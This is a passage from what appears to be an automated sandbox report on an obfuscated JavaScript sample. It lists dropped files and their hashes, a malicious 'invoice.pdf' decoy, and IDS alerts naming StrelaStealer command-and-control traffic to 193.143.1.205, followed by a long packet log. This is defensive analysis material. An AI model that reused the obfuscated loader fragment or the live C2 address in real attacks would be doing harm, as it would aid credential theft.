Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\73a9a526-a683-4c2d-928a-23277f978d5f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d6cab562-5810-4c90-8fe7-a5f3615f6621.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16171), with CRLF line terminators
Entropy (8bit):	4.917773699533307
TrID:
File name:	1297823757234143258.js
File size:	19'528 bytes
MD5:	f67852c9d35c8ba9862918d518456d56
SHA1:	dd7ce39630efef672888a7fa08ff6cf2df6d7e20
SHA256:	b0352e0bc72989d32364ebe9a55d2953a9449a16e94deb2eea5ea64b653d2eec
SHA512:	add51695e7e589485cd1eabf4a7198d39386ba5f8cefbe82a9cf98f5a75f21f769309410b1010cdc4d3602f6b3bfb06942fb1bca702acc3d48faccd24f3594b4
SSDEEP:	384:6+7Tj+2aEz/oEzhEz3Qp9HQotmb+ycb+75qdA3G75Ab+XNvMDdsFPF3gJDKPK8IU:laEzAEzhEz3Qp9wgmb+ycb+75qdA3G7n
TLSH:	8292858749448F5AA2FB5EC231E98DE6147CAB4C014C7A18D03DB4CB393D85B56EF2B9
File Content Preview:	function khorsanqk(){nxflfrad=[1031,3079,5127,4103,2055,3072];var wbngacsf=this[lqrtisne+jyqjiw+kmryvdyw+sfysarq+pwmnl+auxyps+jwldgnt+spgpn](this[ajbmrknho+gdrno+bxsofedeh+kmryvdyw+juhrn+lqrtisne+spgpn][reizh+kmryvdyw+pwmnl+jyqjiw+spgpn+pwmnl+qdywlnyfc+sj

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:16:40.543474+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49742	193.143.1.205	80	TCP
2025-01-11T03:16:40.543474+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49742	193.143.1.205	80	TCP
2025-01-11T03:16:43.390134+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49759	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:16:39.756685019 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:39.761547089 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:39.761631012 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:39.765000105 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:39.769785881 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543257952 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543409109 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543443918 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543473959 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.543479919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543529987 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.543534040 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543570995 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543606997 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543617010 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.543642044 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543674946 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543685913 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.543711901 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.543756008 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.548582077 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.593380928 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.611568928 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.611591101 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.611653090 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.611655951 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.611675024 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.611720085 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.668435097 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.668463945 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.668478012 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.668514967 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.668554068 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.668591976 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.668613911 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.668628931 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.668679953 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.668740034 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.669202089 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.669222116 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.669239998 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.669248104 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.669279099 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.669358969 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.669369936 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.669415951 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.670001984 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670013905 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670025110 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670053959 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.670141935 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670155048 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670186996 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.670697927 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670716047 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670727968 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.670737982 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.670770884 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.670892954 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.697802067 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.697890043 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.736648083 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.736674070 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.736717939 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.736730099 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.736752033 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.736763954 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.736789942 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.754600048 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.754614115 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.754647970 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.793631077 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793678045 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793684006 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.793699980 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793746948 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.793778896 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793803930 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793843985 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.793874979 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793956041 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793968916 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.793997049 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.794068098 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794111013 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.794327021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794390917 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794404030 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794430017 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.794543982 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794558048 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794586897 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.794970036 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794984102 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.794996977 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795011997 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.795036077 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.795106888 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795120001 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795133114 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795176983 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.795635939 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795650005 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795661926 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795675039 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.795705080 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.795775890 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795789003 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795802116 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795814037 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.795824051 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.795855999 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.796538115 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796550989 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796565056 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796595097 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.796693087 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796706915 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796717882 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796730995 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.796741009 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.796763897 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.797427893 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.797441006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.797454119 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.797475100 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.797503948 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.797563076 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.797574043 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.797625065 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.822891951 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.822912931 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.822957039 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.861865997 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.861893892 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.861907005 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.861927986 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.861999035 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.862037897 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.862066984 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.862139940 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.862175941 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.862202883 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.862214088 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.862247944 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.879957914 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.879971981 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.879985094 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.880021095 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.880074024 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.880114079 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.919194937 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919265985 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919280052 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919292927 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919327021 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.919351101 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.919383049 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919394970 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919424057 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.919590950 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919604063 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919616938 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919645071 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.919672012 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.919707060 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.920047045 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920059919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920072079 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920098066 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.920154095 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920171976 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920190096 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.920192003 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920224905 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.920736074 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920793056 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920815945 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920831919 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.920907021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920917988 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920929909 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.920944929 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.920969009 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.921056986 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921699047 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921710014 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921725035 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921736956 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.921760082 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.921866894 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921880960 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921900988 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921912909 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.921922922 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.921948910 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.922617912 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922632933 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922647953 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922678947 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.922749996 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922761917 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922774076 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922785044 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.922787905 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.922807932 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.923443079 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923455954 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923470020 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923476934 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.923505068 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.923635960 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923649073 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923660994 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923674107 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.923679113 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.923706055 CET	49742	80	192.168.2.10	193.143.1.205
